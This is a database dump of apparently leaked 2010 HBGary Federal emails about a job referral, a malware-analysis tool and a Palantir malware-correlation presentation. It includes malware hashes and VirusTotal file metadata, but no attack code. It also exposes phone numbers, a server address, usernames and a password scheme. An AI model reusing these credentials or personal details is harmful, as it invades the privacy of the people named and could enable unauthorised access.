this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 29, 2010 9:01 PM\r\nTo: Eifert, Eric J.; Frisbie, Robert P\r\nSubject: Fwd: Resume\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob/Eric,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere is a position open in Colorado Springs for an\r\nadministrative assistant. &nbsp;Joy used to be Ted and my assistant and I can\r\nnot speak highly enough of her. &nbsp;She is highly intelligent, productive,\r\nand loyal as a bulldog. &nbsp;Because of all of NG issues around the programs\r\nTed and I used to run her position is being eliminated.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed\r\nVera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nSeptember\r\n24, 2010 8:48:38 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nBarr\r\nAaron &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nResume\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPlease pass along to Bob / etc.\r\n\r\n\r\nReq ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 38663BR\r\nBusiness Title&nbsp; Administrative Assistant 2\r\nGroup&nbsp; TSG\r\nLocation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; COLORADO Colorado Springs\r\nClearance Level Needed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Secret\r\nCategory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Administrative Services\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1148,'aaron_hbgary_com/1148.html'),(12428,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009164.M334287P14101Q7283.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TMC Agent','Begin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: September 30, 2010 10:02:12 AM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: TMC Agent\r\nIDK, a mess of stuff.  I displayed everything on the results pageavailable.  Some of it I&#39;m not sure what it is.On 09/29/2010 10:14 PM, Ted Vera wrote:\r\nDDNA scoreDDNA traitsStrings in module\r\nWhat else is available?Tv\r\nOn Sep 29, 2010, at 3:12 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nTed,How&#39;s the trip going?  I just compiled the tmc agent up with it&#39;s required libraries and executed on a complete test run.  It completed from uploading a file from the web interface to inserting the output into the database.  I have a list of things that are required on the tmc agent to function properly and am now going to add a few lines of code just to help logging and then it&#39;s on to building the web interface for the results.  My question is: what do we show?  I have all this data in the DB but what do you think the end user wants to see?\r\nThanks,\r\nMark\r\n',6105,'aaron_hbgary_com/6105.html'),(12429,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009164.M559258P14101Q7284.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: TMC Agent','Ok give mr a few and I will send an email with what we are looking for.  Running processes.  Open sockets.  Registry changes.Sent from my iPhoneOn Sep 30, 2010, at 7:03 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBegin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;\r\n\r\nDate: September 30, 2010 10:02:12 AM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: TMC Agent\r\n\r\nIDK, a mess of stuff.  I displayed everything on the results pageavailable.  Some of it I&#39;m not sure what it is.On 09/29/2010 10:14 PM, Ted Vera wrote:\r\n\r\nDDNA scoreDDNA traitsStrings in module\r\n\r\nWhat else is available?Tv\r\n\r\nOn Sep 29, 2010, at 3:12 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\n\r\nTed,How&#39;s the trip going?  I just compiled the tmc agent up with it&#39;s required libraries and executed on a complete test run.  It completed from uploading a file from the web interface to inserting the output into the database.  I have a list of things that are required on the tmc agent to function properly and am now going to add a few lines of code just to help logging and then it&#39;s on to building the web interface for the results.  My question is: what do we show?  I have all this data in the DB but what do you think the end user wants to see?\r\n\r\nThanks,\r\n\r\nMark\r\n\r\n',2891,'aaron_hbgary_com/2891.html'),(12430,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009165.M126398P14101Q7285.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Examples for reports','Mark,\r\n\r\nThese are from Anubis.\r\n\r\nhttp://anubis.iseclab.org/?action=result&task_id=1a380ed98df2edc04d5ddf57ead35a0fb\r\nhttp://anubis.iseclab.org/?action=result&task_id=1a380ed98df2edc04d5ddf57ead35a0fb&format=pdf\r\n\r\n',3883,'aaron_hbgary_com/3883.html'),(12431,'2010-09-30','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009165.M358586P14101Q7286.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Resume','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI Aaron.\r\n\r\n\r\nEric\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nEric J. Eifert\r\n\r\nVice President and General Manager, Cyber Defense Solutions\r\nBusiness Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Grussmeyer, Jimmy \r\nSent: Thursday, September 30, 2010 10:28 AM\r\nTo: Eifert, Eric J.\r\nSubject: RE: Resume\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks, Eric.&nbsp;&nbsp;&nbsp;&nbsp; We filled 38663, but are\r\nalways looking for good people because those positions are fairly\r\ntransient.&nbsp; Will review and keep in my &quot;ready file&quot;.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim\r\nG.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Eifert, Eric J.\r\nSent: Thu 9/30/2010 10:12 AM\r\nTo: Grussmeyer, Jimmy\r\nCc: Won, Lorraine\r\nSubject: FW: Resume\r\n\r\n\r\n\r\n\r\n\r\nJim, not sure if you are still looking for someone for 38663BR, but\r\nif you are here is another potential candidate for you to review.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nEric J. Eifert\r\n\r\nVice President and General Manager, Cyber Defense Solutions\r\nBusiness Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell)\r\n703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 29, 2010 9:01 PM\r\nTo: Eifert, Eric J.; Frisbie, Robert P\r\nSubject: Fwd: Resume\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob/Eric,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere is a position open in Colorado Springs for an\r\nadministrative assistant. &nbsp;Joy used to be Ted and my assistant and I can\r\nnot speak highly enough of her. &nbsp;She is highly intelligent, productive,\r\nand loyal as a bulldog. &nbsp;Because of all of NG issues around the programs\r\nTed and I used to run her position is being eliminated.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nTed\r\nVera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nSeptember\r\n24, 2010 8:48:38 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nBarr\r\nAaron &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nResume\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPlease pass along to Bob / etc.\r\n\r\n\r\nReq ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n38663BR\r\nBusiness Title&nbsp; Administrative Assistant\r\n2\r\nGroup&nbsp; TSG\r\nLocation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCOLORADO Colorado Springs\r\nClearance Level Needed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSecret\r\nCategory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdministrative Services\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10870,'aaron_hbgary_com/10870.html'),(12432,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009165.M566380P14101Q7287.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Malware presentation at Palantir GovCon','Hi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I have some questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n> All --\r\n> \r\n> 	The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n> \r\n> 	But first, Progress!\r\n> 	I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir. \r\n> \r\n> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot. \r\n> \r\n> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n> \r\n> 	99ba36a387f82369440fa3858ed2c7ae\r\n> 	83d7e99ace330a6301ab6423b16701de\r\n> 	c10222e198dd1b32f19d2c3bf55880cd\r\n> 	ae7bf771b80576ec88469a1bc495812e\r\n> \r\n> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n> \r\n> 	279162665e7c01624091afb19b7d7f4c\r\n> \r\n> The screenshot makes this all very clear.\r\n> \r\n> \r\n> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information. \r\n> \r\n> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n> \r\n> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n> \r\n> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Zollman \r\n> Sent: Wednesday, September 22, 2010 9:44 PM\r\n> To: \'Ted Vera\'\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: RE: Malware presentation at Palantir GovCon\r\n> \r\n> Ted --\r\n> \r\n> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n> \r\n> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at: \r\n> https://host25.paas.palantirtech.com:25280/\r\n> \r\n> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n> \r\n> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 17, 2010 6:56 PM\r\n> To: Aaron Zollman\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: Malware presentation at Palantir GovCon\r\n> \r\n> Hi Aaron,\r\n> \r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n> \r\n> Hope you have a nice weekend!\r\n> Ted\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',1707,'aaron_hbgary_com/1707.html'),(12433,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009165.M778373P14101Q7288.eml','\"Ted Vera\" <ted@hbgary.com>','Mark','I need Mark to work on with Aaron as a priority for getting him the data that he needs from specific malware samples.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',5337,'aaron_hbgary_com/5337.html'),(12434,'2010-09-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009165.M989118P14101Q7289.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Examples for reports','Got it.  Make it look just like Anubis.  I\'ll save this email for future\r\ninvestigations.\r\n\r\nOn 09/30/2010 08:28 AM, Aaron Barr wrote:\r\n> Mark,\r\n> \r\n> These are from Anubis.\r\n> \r\n> http://anubis.iseclab.org/?action=result&task_id=1a380ed98df2edc04d5ddf57ead35a0fb\r\n> http://anubis.iseclab.org/?action=result&task_id=1a380ed98df2edc04d5ddf57ead35a0fb&format=pdf\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n',15509,'aaron_hbgary_com/15509.html'),(12435,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009166.M919562P14101Q7290.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Malware presentation at Palantir GovCon','Palantir went down a different path.  Not a bad thing based on the data presented.  Let me know what you think.  The \"APT\" samples they have are from QQ.  So the QQ malware is showing some interesting correlations amongst the larger malware sample set.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Aaron Zollman \r\n> Date: September 28, 2010 10:16:45 PM EDT\r\n> To: Barr Aaron , Ted Vera \r\n> Cc: \"mark@hbgary.com\" , Matthew Steckman \r\n> Subject: RE: Malware presentation at Palantir GovCon\r\n> \r\n> All --\r\n> \r\n> 	The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n> \r\n> 	But first, Progress!\r\n> 	I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir. \r\n> \r\n> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot. \r\n> \r\n> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n> \r\n> 	99ba36a387f82369440fa3858ed2c7ae\r\n> 	83d7e99ace330a6301ab6423b16701de\r\n> 	c10222e198dd1b32f19d2c3bf55880cd\r\n> 	ae7bf771b80576ec88469a1bc495812e\r\n> \r\n> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n> \r\n> 	279162665e7c01624091afb19b7d7f4c\r\n> \r\n> The screenshot makes this all very clear.\r\n> \r\n> \r\n> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information. \r\n> \r\n> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n> \r\n> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n> \r\n> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Zollman \r\n> Sent: Wednesday, September 22, 2010 9:44 PM\r\n> To: \'Ted Vera\'\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: RE: Malware presentation at Palantir GovCon\r\n> \r\n> Ted --\r\n> \r\n> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n> \r\n> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at: \r\n> https://host25.paas.palantirtech.com:25280/\r\n> \r\n> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n> \r\n> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 17, 2010 6:56 PM\r\n> To: Aaron Zollman\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: Malware presentation at Palantir GovCon\r\n> \r\n> Hi Aaron,\r\n> \r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n> \r\n> Hope you have a nice weekend!\r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6692,'aaron_hbgary_com/6692.html'),(12436,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009167.M228637P14101Q7291.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Examples for reports','lol. &nbsp;that is not what I said. &nbsp;But we do want to capture much of the same data. &nbsp;CWSandbox looks somewhat similiar as well.Here is some other info from VirusTotal:Additional informationShow allMD5&nbsp;&nbsp;&nbsp;:&nbsp;a19271e614b6beaf01d8fe19e095417bSHA1&nbsp;&nbsp;:&nbsp;172349e158b02e12bde0795b26eae5030384c877SHA256:&nbsp;978bcb16ed718d2540a290d78d6f539f18dd2875a6dc9c8c4f19910834532dc2ssdeep:&nbsp;384:9cc5kRzq3cOpd2t2yCunFI8Tv1fE018IsYkAQwKmgUf5ykejJYz6KQbh:9/PcmdNyCuFI8hF1k9pmgZdq6LhFile size&nbsp;:&nbsp;29184 bytesFirst seen:&nbsp;2010-04-22 20:49:15Last seen&nbsp;:&nbsp;2010-05-02 09:15:41Magic:&nbsp;PE32 executable for MS Windows (GUI) Intel 80386 32-bitTrID:&nbsp;Win32 Executable Generic (38.3%)Win32 Dynamic Link Library (generic) (34.1%)Win16/32 Executable Delphi generic (9.3%)Generic Win/DOS Executable (9.0%)DOS Executable Generic (9.0%)sigcheck:&nbsp;publisher....: n/acopyright....: n/aproduct......: n/adescription..: n/aoriginal name: n/ainternal name: n/afile version.: n/acomments.....: n/asigners......: -signing date.: -verified.....: UnsignedPEiD:&nbsp;-PEInfo: PE structure information[[ basic data ]]entrypointaddress: 0x103Atimedatestamp....: 0x3CF5A300 (Thu May 30 03:56:48 2002)machinetype......: 0x14C (Intel I386)[[ 5 section(s) ]]name, viradd, virsiz, rawdsiz, ntropy, md5.text, 0x1000, 0x2C8E, 0x2E00, 6.94, 3de02b9df7c60a6477cd14073fdab359.rdata, 0x4000, 0x6D6, 0x800, 3.02, ebb9996a73e8ab3fc9da710e621d2f0f.data, 0x5000, 0x324C, 0x3400, 6.08, 72605296692a933fd73989d475657068.reloc, 0x9000, 0x6C, 0x200, 1.6, ebfdef14b3064ff83eb5d56d9d9c05e3.rsrc, 0xA000, 0x1000, 0x200, 0.28, 2471cf11721595cf9d282cc338d708c6[[ 6 import(s) ]]advapi32.dll:&nbsp;RegSetValueAcomdlg32.dll:&nbsp;LoadAlterBitmapgdi32.dll:&nbsp;CreateDIBSection, BitBlt, Ellipse, FillPath, CreateDCAkernel32.dll:&nbsp;FileTimeToDosDateTime, OpenSemaphoreA, WaitForSingleObject, lstrlen, GetEnvironmentVariableA, GetVersionExW, lstrlenW, CreateEventA, GetLogicalDrives, DosDateTimeToFileTime, RemoveDirectoryW, GetTickCount, VirtualProtectEx, ConnectNamedPipe, GetVersionExA, ExitProcess, CreateFiber, GetCurrentDirectoryW, GetACP, OpenEventW, WinExec, GetModuleHandleAshell32.dll:&nbsp;SHGetFolderLocationuser32.dll:&nbsp;GetClassLongA, ShowCaret, ShowCursor, GetDlgItem, keybd_event, RegisterClassExW, InsertMenuW, GetMenuInfo, DestroyCursor, GetMessageWOn Sep 30, 2010, at 10:39 AM, Mark Trynor wrote:Got it. &nbsp;Make it look just like Anubis. &nbsp;I\'ll save this email for futureinvestigations.On 09/30/2010 08:28 AM, Aaron Barr wrote:Mark,These are from Anubis.http://anubis.iseclab.org/?action=result&amp;task_id=1a380ed98df2edc04d5ddf57ead35a0fbhttp://anubis.iseclab.org/?action=result&amp;task_id=1a380ed98df2edc04d5ddf57ead35a0fb&amp;format=pdfAaron BarrCEOHBGary Federal, LLC719.510.8478\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',8198,'aaron_hbgary_com/8198.html'),(12437,'2010-09-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009167.M465615P14101Q7292.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware presentation at Palantir GovCon','Aaron,\r\n\r\nWe don\'t have any TMC samples.  What\'s a responder data set?\r\n\r\nThanks,\r\nMark\r\n\r\nOn 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n> Hi Aaron,\r\n> \r\n> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n> \r\n> Mark,\r\n> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n> \r\n> Aaron,\r\n> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n> \r\n> Aaron\r\n> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n> \r\n>> All --\r\n>>\r\n>> 	The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>\r\n>> 	But first, Progress!\r\n>> 	I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir. \r\n>>\r\n>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot. \r\n>>\r\n>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>\r\n>> 	99ba36a387f82369440fa3858ed2c7ae\r\n>> 	83d7e99ace330a6301ab6423b16701de\r\n>> 	c10222e198dd1b32f19d2c3bf55880cd\r\n>> 	ae7bf771b80576ec88469a1bc495812e\r\n>>\r\n>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>\r\n>> 	279162665e7c01624091afb19b7d7f4c\r\n>>\r\n>> The screenshot makes this all very clear.\r\n>>\r\n>>\r\n>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information. \r\n>>\r\n>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>\r\n>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>\r\n>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>\r\n>>\r\n>>\r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Zollman \r\n>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>> To: \'Ted Vera\'\r\n>> Cc: Barr Aaron; mark@hbgary.com\r\n>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>\r\n>> Ted --\r\n>>\r\n>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike 